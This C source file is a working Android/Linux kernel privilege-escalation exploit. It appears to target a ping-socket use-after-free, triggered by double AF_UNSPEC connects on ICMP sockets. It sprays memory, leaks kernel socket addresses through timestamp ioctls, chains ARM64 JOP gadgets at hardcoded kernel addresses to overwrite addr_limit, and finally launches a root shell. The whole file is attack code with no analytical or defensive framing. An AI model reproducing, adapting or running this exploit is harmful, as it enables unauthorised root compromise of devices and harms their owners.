#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <linux/in.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/sysinfo.h>

#define MAX_CHILDREN_PROCESS    1024
#define MAX_CHILDREN_SOCKETS    65000
#define MAX_MMAPS               1024

#define MMAP_BASE(x)		(((unsigned long)(x)) & ~(MMAP_SIZE - 1))
#define MMAP_SIZE               (2 * 1024 * 1024)

#define DEFAULT_RESERVE_SIZE    (64 * 1024 * 1024)

#define TIMESTAMP_MAGIC         0x0db4da5f

#define ADDR_ADD(p,n)           ((void *)((char *)(p) + (n)))

//#define OFFSET_SK_PROT          0x24
#define OFFSET_SK_PROT          0x28
//#define OFFSET_SK_STAMP         0x148
#define OFFSET_SK_STAMP         0x1d8
//#define OFFSET_MC_LIST          0x1c4
#define OFFSET_MC_LIST          0x290

//#ifndef SIOCGSTAMPNS
#define SIOCGSTAMPNS            0x8907
//#endif /* SIOCGSTAMPNS */

#define OOM_DISABLE             (-17)

#define NSEC_PER_SEC            1000000000

//#define LIST_POISON2            0x1360
#define LIST_POISON2            0x200200

#define ARRAY_SIZE(x)           (sizeof (x) / sizeof (*(x)))

extern int get_root(unsigned long *sp);

unsigned long *vul_mmap_bases[MAX_CHILDREN_PROCESS];
unsigned long *sp;

struct child_status_t {
  int num_sockets;
  int result;
};

static size_t
get_page_size(void)
{
  static size_t pagesize;

  if (pagesize == 0) {
    pagesize = sysconf(_SC_PAGESIZE);
  }

  return pagesize;
}

static int
maximize_fd_limit(void)
{
  struct rlimit rlim;
  int ret;

  ret = getrlimit(RLIMIT_NOFILE, &rlim);
  if (ret != 0) {
    return -1;
  }

  rlim.rlim_cur = rlim.rlim_max;
  setrlimit(RLIMIT_NOFILE, &rlim);

  ret = getrlimit(RLIMIT_NOFILE, &rlim);
  if (ret != 0) {
    return -1;
  }

  return rlim.rlim_cur;
}

static int
wait_for_sockets_created(int pipe_read, int *num_socks_created)
{
  struct child_status_t status;
  int i;
  int ret;

  *num_socks_created = 0;

  ret = fcntl(pipe_read, F_SETFL, O_NONBLOCK);
  if (ret == -1) {
    perror("fcntl()");
    return -1;
  }

  for (i = 0; i < 50; i++) {
    ret = read(pipe_read, &status, sizeof status);
    if (ret == -1 && errno == EAGAIN) {
      usleep(100000);
      continue;
    }

    break;
  }

  if (ret == -1 && errno == EAGAIN) {
    printf("read(): Timeout\n");
    return -1;
  }

  if (ret == -1) {
    perror("read()");
    return -1;
  }

  if (ret != sizeof (status)) {
    printf("read(): Unexpected EOF\n");
    return -1;
  }

  *num_socks_created = status.num_sockets;

  return status.result;
}

static int
send_status_to_parent(int pipe_write, int num_sockets, int result)
{
  struct child_status_t status;

  memset(&status, 0, sizeof status);

  status.num_sockets = num_sockets;
  status.result = result;

  write(pipe_write, &status, sizeof status);

  return 0;
}

static int
wait_to_close(int pipe_write)
{
  close(pipe_write);

  while (1) {
    sleep(60);
  }
}

static int
close_all_fds_except_pipe(int pipe_write, int num_fds)
{
  int i;
  int result;

  result = 0;

  for (i = 0; i < num_fds; i++) {
    int ret;

    if (i == pipe_write) {
      continue;
    }

    ret = close(i);
    if (ret != 0) {
      result = -1;
    }
  }

  return result;
}

static int
setup_vul_socket(int sock)
{
  struct sockaddr_in sa;
  int ret;

  memset(&sa, 0, sizeof sa);
  sa.sin_family = AF_UNSPEC;
  
  ret = connect(sock, (struct sockaddr *)&sa, sizeof sa);
  if (ret != 0) {
    printf("connect(%d) #1: ret = %d\n", sock, ret);
    return -1;
  }

  ret = connect(sock, (struct sockaddr *)&sa, sizeof sa);
  if (ret != 0) {
    printf("connect%d() #2: ret = %d\n", sock, ret);
    return -1;
  }

  return 0;
}

static int
create_icmp_socket(void)
{
  struct sockaddr_in sa;
  int sock;
  int ret;

  memset(&sa, 0, sizeof sa);
  sa.sin_family = AF_INET;

  sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP);
  if (sock == -1) {
    return -1;
  }

  ret = connect(sock, (struct sockaddr *)&sa, sizeof sa);
  if (ret != 0) {
    int result;

    result = errno;
    close(sock);
    errno = result;

    return -1;
  }

  return sock;
}

static int
close_icmp_socket(int sock)
{
  return close(sock);
}

static int
do_child_task(int pipe_write, int num_fds)
{
  int socks[num_fds];
  int result;
  int ret;
  int i;

  result = 0;

  close_all_fds_except_pipe(pipe_write, num_fds);

  for (i = 0; i < num_fds; i++) {
    socks[i] = create_icmp_socket();
    if (socks[i] == -1) {
      result = errno;
      break;
    }
  }

  num_fds = i;

  send_status_to_parent(pipe_write, num_fds, result);
  wait_to_close(pipe_write);

  for (i = 0; i < num_fds; i++) {
    ret = close_icmp_socket(socks[i]);
  }

  if (ret == -1) {
    return -1;
  }

  return 0;
}

static int
create_child(int *pipe_read, int num_fds, pid_t *pid, int *num_socks_created)
{
  int pipe_fds[2];
  int ret;

  *pid = -1;
  *num_socks_created = 0;

  ret = pipe(pipe_fds);
  if (ret != 0) {
    perror("pipe()");
    return -1;
  }

  *pid = fork();
  if (*pid == -1) {
    perror("fork()");
    return -1;
  }

  if (*pid == 0) {
    close(pipe_fds[0]);

    do_child_task(pipe_fds[1], num_fds);
    exit(0);
  }

  close(pipe_fds[1]);
  *pipe_read = pipe_fds[0];

  ret = wait_for_sockets_created(*pipe_read, num_socks_created);
  if (ret == EMFILE) {
    ret = 0;
  }

  if (ret != 0) {
    kill(*pid,  SIGKILL);
  }

  return ret;
}

static int
close_child_sockets(int pipe_read, pid_t pid)
{
  int timeout;
  int status;
  int success;
  int ret;

  success = 0;

  close(pipe_read);
  kill(pid,  SIGTERM);

  for (timeout = 50; timeout > 0; timeout--) {
    ret = waitpid(pid, &status, WNOHANG);
    if (ret != 0) {
      break;
    }

    if (WIFEXITED(status)) {
      success = 1;
      break;
    }

    usleep(100000);
  }

  kill(pid,  SIGKILL);

  ret = waitpid(pid, &status, 0);
  if (ret != 0) {
    return -1;
  }

  if (WIFEXITED(status)) {
    success = 1;
  }

  if (success) {
    return 0;
  }

  return -1;
}

int *
create_vul_sockets(void)
{
  static pid_t pids[MAX_CHILDREN_PROCESS];
  static int pipe_reads[MAX_CHILDREN_PROCESS];
  int max_fds;
  int *socks;
  int num_socks;
  int num_children_process;
  int num_children_socks;
  int ret;
  int i;

  printf("Creating target socket..."); 
  fflush(stdout);

  max_fds = maximize_fd_limit();

  socks = malloc((max_fds + 1) * sizeof (*socks));
  if (!socks) {
    printf("\nNo memory\n");
    return NULL;
  }

  num_children_process = 0;
  num_socks = 0;
  num_children_socks = 0;
  ret = 0;

  for (i = 0; i < MAX_CHILDREN_PROCESS; i++) {
    int max_children_socks;
    int num_socks_created;

    max_children_socks = max_fds;
    if (max_children_socks + num_children_socks > MAX_CHILDREN_SOCKETS) {
      max_children_socks = MAX_CHILDREN_SOCKETS - num_children_socks;
      if (max_children_socks < 1) {
        break;
      }
    }

    ret = create_child(&pipe_reads[i], max_children_socks, &pids[i], &num_socks_created);
    if (pids[i] == -1) {
      break;
    }

    num_children_process++;
    num_children_socks += num_socks_created;

    printf(".");
    fflush(stdout);

    if (num_socks < max_fds) {
      socks[num_socks] = create_icmp_socket();
      if (socks[num_socks] == -1) {
        break;
      }

      num_socks++;
    }

    if (ret != 0) {
      break;
    }
  }

  printf(" OK\n");
  printf("%d + %d sockets created\n", num_socks, num_children_socks);

  for (i = 0; i < num_children_process; i++) {
    close_child_sockets(pipe_reads[i], pids[i]);
  }

  if (num_socks < 1) {
    printf("No icmp socket available\n");
    free(socks);
    return NULL;
  }

  socks[num_socks] = -1;

  for (i = 0; i < num_socks; i++) {
    ret = setup_vul_socket(socks[i]);
  }

  return socks;
}

static int
protect_from_oom_killer(void)
{
  int fd;
  char buf[16];
  int ret;

  fd = open("/proc/self/oom_adj", O_WRONLY);
  if (fd == -1) {
    perror("open() in protect_from_oom_killer()");
    return -1;
  }

  sprintf(buf, "%d\n", OOM_DISABLE);

  ret = write(fd, buf, strlen(buf));
  if (ret == -1) {
    perror("write() in protect_from_oom_killer()");
    return -1;
  }

  ret = close(fd);
  if (ret == -1) {
    perror("close() in protect_from_oom_killer()");
    return -1;
  }

  return 0;
}

static void
keep_invalid_sk(void)
{
  pid_t pid;

  printf("\n");
  printf("There are some invalid sockets.\n");
  printf("Please reboot now to avoid crash...\n");

  pid = fork();
  if (pid == -1 || pid == 0) {
    close(0);
    close(1);
    close(2);

    while (1) {
      sleep(60);
    }
  }
}

static int
lock_page_in_memory(void *address, size_t size)
{
  int ret;

  ret = mlock(address, size);
  if (ret != 0) {
    return -1;
  }

  return 0;
}

static void
populate_pagetable_for_address(void *address)
{
  *(void **)address = NULL;
}

static void *
protect_crash_when_double_free(void)
{
  void *address;
  size_t pagesize;

  pagesize = get_page_size();

  address = (void *)((LIST_POISON2 / pagesize) * pagesize);

  address =  mmap(address, pagesize,
                 PROT_READ | PROT_WRITE,
                 MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS,
                 -1, 0);

  if (address == MAP_FAILED) {
    return NULL;
  }

  populate_pagetable_for_address(address);
  lock_page_in_memory(address, pagesize);

  return address;
}

static int
free_protect(void *protect)
{
  size_t pagesize;

  pagesize = get_page_size();
  return munmap(protect, pagesize);
}

static void
fill_with_payload(void *address, size_t size)
{
  unsigned *p = address;
  int i;

  for (i = 0; i < size; i += sizeof (*p) * 2) {
    *p++ = (unsigned)((unsigned long)p & 0xffffffff);
    *p++ = TIMESTAMP_MAGIC;
  }
}

static int
get_sk_from_timestamp(int sock, unsigned long *paddr)
{
  struct timespec tv;
  uint64_t value;
  uint32_t high, low;
  int ret;

  ret = ioctl(sock, SIOCGSTAMPNS, &tv);
  if (ret != 0) {
    return -1;
  }

  value = ((uint64_t)tv.tv_sec * NSEC_PER_SEC) + tv.tv_nsec;
  high = (unsigned)(value >> 32);
  low = (unsigned)value;

  if (high == TIMESTAMP_MAGIC) {
    if (paddr)
      *paddr = low - OFFSET_SK_STAMP;
    return 1;
  }

  return 0;
}

static int
try_control_sk(int *socks)
{
  static int reserve_size = DEFAULT_RESERVE_SIZE;
  static int loop_count = 0;
  static void *address[MAX_MMAPS];
  struct sysinfo info;
  int success;
  int count;
  int i;
  int ret;
  int lock_ret;
  int find;

  loop_count++;
  success = 0;

  for (i = 0; i < MAX_MMAPS; i++) {
    int j;

    find = 1;
    ret = sysinfo(&info);
    if (ret == 0) {
      if (info.freeram < reserve_size) {
        if (loop_count < 4) {
          reserve_size = info.freeram;
        }

        break;
      }
    }

    address[i] =  mmap(NULL, MMAP_SIZE,
                       PROT_READ | PROT_WRITE | PROT_EXEC,
                       MAP_SHARED | MAP_ANONYMOUS, -1, 0);
    // printf("In try_control_sk() : %d mmap\n",i);

    if (address[i] == MAP_FAILED) {
      printf("mmap(): failed: %s (%d)\n", strerror(errno), errno);
      break;
    }

    lock_ret = lock_page_in_memory(address[i], MMAP_SIZE);
    // if (lock_ret != 0)
    //   perror("mlock():");
    fill_with_payload(address[i], MMAP_SIZE);

    for (j = 0; socks[j] != -1; j++) {
      ret = get_sk_from_timestamp(socks[j], NULL);
      if (ret > 0 & vul_mmap_bases[j] == 0) {
        vul_mmap_bases[j] = address[i];
        success++;
        find = 1;
		printf("Find %d vulnerable socket in seg: %p, socket index: %d\n", success, address[i],j);
      }
    }

    if (find)
      address[i] = 0;

    if (success > 1) {
      break;
    }
  }

  count = i;
  printf("%d bytes allocated\n", count * MMAP_SIZE);

  if (count == 0) {
    printf("Can not allocate memory...\n");
    keep_invalid_sk();
    exit(-1);
  }

  for (i = 0; i < count; i++) {
    if (address[i]) {
      munmap(address[i], MMAP_SIZE);
    }
  }

  if (success > 1) {
    return 0;
  }

  return -1;
}

static void 
prepare_leak_jop(unsigned long *pjop_entry, void *x19, unsigned long **mmap_addrs){
  /*
  0xffffffc0000e1910: ldr x1, [x19, #0x10] ; ldr x0, [x19, #0x18] ; blr x1
  0xffffffc00048e11c: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2
  0xffffffc0000e5a98: ldr x3, [x1, #0x80] ; ldr x0, [x0, #8] ; blr x3
  0xffffffc0002e2694: ldr x3, [x1, #0x68] ; cbz x3, #0x2626cc ; ldr x1, [x3, #0x18] ; cbz x1, #0x2626c0 ; blr x1
  0xffffffc00048e11c: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2
  0xffffffc000083db8: mov x0, sp ; blr x1
  0xffffffc0000e6cf4: mov x1, x3 ; ldr x3, [x3, #0xc0] ; blr x3
  0xffffffc000494a50: str x0, [x1, #8] ; mov x0, x19 ; ldr x1, [x19, #0x20] ; ldr x1, [x1, #0x28] ; blr x1
  */
  unsigned long *p;

  // 0xffffffc0000e1910: ldr x1, [x19, #0x10] ; ldr x0, [x19, #0x18] ; blr x1
  *pjop_entry = 0xffffffc0000e1910;
  p = ADDR_ADD(x19, 0x10);
  *p = 0xffffffc00048e11c;
  p = ADDR_ADD(x19, 0x18);
  *p = (unsigned long)mmap_addrs[0];
  // 0xffffffc00048e11c: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2
  p = ADDR_ADD(mmap_addrs[0], 0x58);
  *p = (unsigned long)mmap_addrs[1];
  p = ADDR_ADD(mmap_addrs[1], 0x0);
  *p = 0xffffffc0000e5a98;
  p = ADDR_ADD(mmap_addrs[0], 0x60);
  *p = (unsigned long)mmap_addrs[2];
  // 0xffffffc0000e5a98: ldr x3, [x1, #0x80] ; ldr x0, [x0, #8] ; blr x3
  p = ADDR_ADD(mmap_addrs[2], 0x80);
  *p = 0xffffffc0002e2694;
  p = ADDR_ADD(mmap_addrs[0], 0x8);
  *p = (unsigned long)mmap_addrs[3];
  // 0xffffffc0002e2694: ldr x3, [x1, #0x68] ; cbz x3, #0x2626cc ; ldr x1, [x3, #0x18] ; cbz x1, #0x2626c0 ; blr x1
  p = ADDR_ADD(mmap_addrs[2], 0x68);
  *p = (unsigned long)mmap_addrs[4];
  p = ADDR_ADD(mmap_addrs[4], 0x18);
  *p = 0xffffffc00048e11c;
  // 0xffffffc00048e11c: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2
  p = ADDR_ADD(mmap_addrs[3], 0x58);
  *p = (unsigned long)mmap_addrs[5];
  p = ADDR_ADD(mmap_addrs[5], 0x0);
  *p = 0xffffffc000083db8;
  p = ADDR_ADD(mmap_addrs[3], 0x60);
  *p = (unsigned long)0xffffffc0000e6cf4;
  // 0xffffffc000083db8: mov x0, sp ; blr x1
  // 0xffffffc0000e6cf4: mov x1, x3 ; ldr x3, [x3, #0xc0] ; blr x3
  p = ADDR_ADD(mmap_addrs[4], 0xc0);
  *p = 0xffffffc000494a50;
  // 0xffffffc000494a50: str x0, [x1, #8] ; mov x0, x19 ; ldr x1, [x19, #0x20] ; ldr x1, [x1, #0x28] ; blr x1
  // write sp into ADDR_ADD(mmap_addrs[4], 0x8);
  p = ADDR_ADD(x19, 0x20);
  *p = (unsigned long)mmap_addrs[6];
  p = ADDR_ADD(mmap_addrs[6], 0x28);
  *p = 0xffffffc0003fea34;
}

static void 
prepare_write_jop(unsigned long *pjop_entry, void *x19, unsigned long **mmap_addrs){
  /*
  0xffffffc0000e1910: ldr x1, [x19, #0x10] ; ldr x0, [x19, #0x18] ; blr x1
  0xffffffc00048e11c: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2
  0xffffffc0000e5a98: ldr x3, [x1, #0x80] ; ldr x0, [x0, #8] ; blr x3
  0xffffffc0002e2694: ldr x3, [x1, #0x68] ; cbz x3, #0x2626cc ; ldr x1, [x3, #0x18] ; cbz x1, #0x2626c0 ; blr x1
  0xffffffc00048e11c: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2
  0xffffffc000360bf4: ldr x6, [x0, #0x28] ; ldr x5, [x6, #0x58] ; cbz x5, #0x2e0c18 ; blr x5
  0xffffffc0002433d0: mov x5, x3 ; ldr x6, [x6, #0x150] ; ldr x6, [x6, #0x120] ; blr x6
  0xffffffc0002115a0: ldr x19, [x5, #0xe8] ; ldr w3, [x3, #0x40] ; ldr x4, [x19, #0x18] ; ldr x4, [x4, #0x1b8] ; blr x4
  0xffffffc0003472c0: ldr x1, [x1, #0x38] ; ldr x0, [x19, #8] ; ldr x3, [x0, #0x40] ; cbz x3, #0x2c7334 ; ldr x0, [x19, #0x10] ; blr x3
  0xffffffc000494a50: str x0, [x1, #8] ; mov x0, x19 ; ldr x1, [x19, #0x20] ; ldr x1, [x1, #0x28] ; blr x1
  */

  unsigned long *p;
  unsigned long addr_addr_limit;
  
  printf("leak sp: %#lx\n", *(mmap_addrs[4]+1));
  sp = *(mmap_addrs[4] + 1) & 0xFFFFFFFFFFFFC000 ; 
  addr_addr_limit = (unsigned long)sp + 8;

  // 0xffffffc0000e1910: ldr x1, [x19, #0x10] ; ldr x0, [x19, #0x18] ; blr x1
  *pjop_entry = 0xffffffc0000e1910;
  p = ADDR_ADD(x19, 0x10);
  *p = 0xffffffc00048e11c;
  p = ADDR_ADD(x19, 0x18);
  *p = (unsigned long)mmap_addrs[7]; 
  // 0xffffffc00048e11c: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2
  p = ADDR_ADD(mmap_addrs[7], 0x58);
  *p = (unsigned long)mmap_addrs[8];
  p = ADDR_ADD(mmap_addrs[8], 0x0);
  *p = 0xffffffc0000e5a98;
  p = ADDR_ADD(mmap_addrs[7], 0x60);
  *p = (unsigned long)mmap_addrs[9];
  // 0xffffffc0000e5a98: ldr x3, [x1, #0x80] ; ldr x0, [x0, #8] ; blr x3
  p = ADDR_ADD(mmap_addrs[9], 0x80);
  *p = 0xffffffc0002e2694;
  p = ADDR_ADD(mmap_addrs[7], 0x8);
  *p = (unsigned long)mmap_addrs[10];
  // 0xffffffc0002e2694: ldr x3, [x1, #0x68] ; cbz x3, #0x2626cc ; ldr x1, [x3, #0x18] ; cbz x1, #0x2626c0 ; blr x1
  p = ADDR_ADD(mmap_addrs[9], 0x68);
  *p = (unsigned long)mmap_addrs[11];
  p = ADDR_ADD(mmap_addrs[11], 0x18);
  *p = (unsigned long)0xffffffc00048e11c;
  // 0xffffffc00048e11c: ldr x2, [x0, #0x58] ; ldr x1, [x0, #0x60] ; ldr x2, [x2] ; blr x2
  p = ADDR_ADD(mmap_addrs[10], 0x58);
  *p = (unsigned long)mmap_addrs[12];
  p = ADDR_ADD(mmap_addrs[12], 0x0);
  *p = 0xffffffc000360bf4;
  p = ADDR_ADD(mmap_addrs[10], 0x60);
  *p = (unsigned long)mmap_addrs[13];
  // 0xffffffc000360bf4: ldr x6, [x0, #0x28] ; ldr x5, [x6, #0x58] ; cbz x5, #0x2e0c18 ; blr x5
  p = ADDR_ADD(mmap_addrs[10], 0x28);
  *p = (unsigned long)mmap_addrs[14];
  p = ADDR_ADD(mmap_addrs[14], 0x58);
  *p = 0xffffffc0002433d0;
  // 0xffffffc0002433d0: mov x5, x3 ; ldr x6, [x6, #0x150] ; ldr x6, [x6, #0x120] ; blr x6
  p = ADDR_ADD(mmap_addrs[14], 0x150);
  *p = (unsigned long)mmap_addrs[15];
  p = ADDR_ADD(mmap_addrs[15], 0x120);
  *p = 0xffffffc0002115a0;
  // 0xffffffc0002115a0: ldr x19, [x5, #0xe8] ; ldr w3, [x3, #0x40] ; ldr x4, [x19, #0x18] ; ldr x4, [x4, #0x1b8] ; blr x4
  p = ADDR_ADD(mmap_addrs[11], 0xe8);
  *p = (unsigned long)mmap_addrs[16];
  p = ADDR_ADD(mmap_addrs[16], 0x18);
  *p = (unsigned long)mmap_addrs[17];
  p = ADDR_ADD(mmap_addrs[17], 0x1b8);
  *p = 0xffffffc0003472c0;
  // 0xffffffc0003472c0: ldr x1, [x1, #0x38] ; ldr x0, [x19, #8] ; ldr x3, [x0, #0x40] ; cbz x3, #0x2c7334 ; ldr x0, [x19, #0x10] ; blr x3
  p = ADDR_ADD(mmap_addrs[13], 0x38);
  *p = addr_addr_limit - 8;
  p = ADDR_ADD(mmap_addrs[16], 0x8);
  *p = (unsigned long)mmap_addrs[18];
  p = ADDR_ADD(mmap_addrs[18], 0x40);
  *p = 0xffffffc000494a50;
  p = ADDR_ADD(mmap_addrs[16], 0x10);
  *p = 0xffffffffffffffff;
  // 0xffffffc000494a50: str x0, [x1, #8] ; mov x0, x19 ; ldr x1, [x19, #0x20] ; ldr x1, [x1, #0x28] ; blr x1
  p = ADDR_ADD(mmap_addrs[16], 0x20);
  *p = (unsigned long)mmap_addrs[19];
  p = ADDR_ADD(mmap_addrs[19], 0x28);
  *p = 0xffffffc0003fea34;
}

static int
prepare_jop(unsigned long *pjop_entry, void *x19){
  static int times = 0;
  static unsigned long *mmap_addrs[20];
  int i;
  size_t pagesize;
  
  times++;
  pagesize = get_page_size();
  if (times == 1) {
    for (i = 0; i < 20 ; i++) {
      mmap_addrs[i] = mmap(NULL, pagesize * 4,
                        PROT_READ | PROT_WRITE,
                        MAP_SHARED | MAP_ANONYMOUS,
                        -1, 0);
    }
    prepare_leak_jop(pjop_entry,x19,mmap_addrs);
  } else if (times == 2) {
    prepare_write_jop(pjop_entry,x19,mmap_addrs);
  } else {
    printf("Wrong times in prepare_jop(): %d\n",times);
  } 

  return times;
}

static void 
calculate_sk_addr(void **sk, int index)
{
  *sk = (void *)(((unsigned long)vul_mmap_bases[index]&0xffffffff00000000) + (unsigned long)*sk);
}

static int
setup_get_root(void *sk, int fd, int index)
{
  static unsigned long prot[256];
  unsigned long *mmap_end_address;
  unsigned long *p;
  int i;
  int ret;
  unsigned long jop_entry;

  // printf("Low 4 bytes of vulnerable sock address: %p\n",sk);
  calculate_sk_addr(&sk, index);
  // printf("Complete address of vulnerable sock: %p\n",sk);

  ret = prepare_jop(&jop_entry,sk);
  if(ret > 2){
    printf("error in prepare_jop()\n");
    return -1;
  }

  for (i = 0; i < ARRAY_SIZE(prot); i++) {
    prot[i] = jop_entry;
  }

  mmap_end_address = (void *)MMAP_BASE(sk) + MMAP_SIZE - 1;

  p = ADDR_ADD(sk, OFFSET_MC_LIST);
  // printf("Write &MC_LIST : %p\n", p);
  *p = 0;

  p = ADDR_ADD(sk, OFFSET_SK_PROT);
  // printf("Write &SK_PROT : %p\n", p);
  *p = (unsigned long)prot;

  return ret;
}

static void
do_get_root(int *socks)
{
  int success;
  int has_invalid_sk;
  int ret;
  int i;
  int setup_ret;
  int get_root_ret;

  success = 0;
  has_invalid_sk = 0;

  for (i = 0; socks[i] != -1; i++) {
    void *sk;

    if (socks[i] == -2)
      continue;

    ret = get_sk_from_timestamp(socks[i], (unsigned long *)&sk);
    if (ret <= 0) {
      has_invalid_sk = 1;
      continue;
    }

	// printf("setup_get_root() Ready, socket index: %d\n",i);
    setup_ret = setup_get_root(sk, socks[i], i);
	// printf("setup_get_root() Done, return value: %d\n",setup_ret);

    close_icmp_socket(socks[i]);

    if (setup_ret == 2) {
      // printf("get_root() Ready\n");
      get_root_ret = get_root(sp);
      printf("get_root() Done, return value: %d\n", get_root_ret);

      if (getuid() == 0) {
        success = 1;
      }

      break;
    }
  }

  if (has_invalid_sk) {
    protect_from_oom_killer();
  }

  if (success) {
    system("/system/bin/sh");
  }
  else {
    printf("Failed to get root.\n");
  }

  if (has_invalid_sk) {
    keep_invalid_sk();
  }
}



int
main(int argc, char *const argv[])
{
  void *protect = NULL;
  int *socks;
  int ret;

  protect = protect_crash_when_double_free();
  if (!protect) {
    printf("Error in protect_crash_when_double_free()\n");
    return 1;
  }

  socks = create_vul_sockets();
  if (socks == NULL) {
    return 1;
  }

  while (1) {
    ret = try_control_sk(socks);
    if (ret == 0) {
      printf("Done!\n");
      break;
    }
  }

  do_get_root(socks);

  if (protect) {
    ret = free_protect(protect);
    if (ret != 0) {
      printf("Error in free_protect()\n");
      return -1;
    }
  }

  return 0;
}
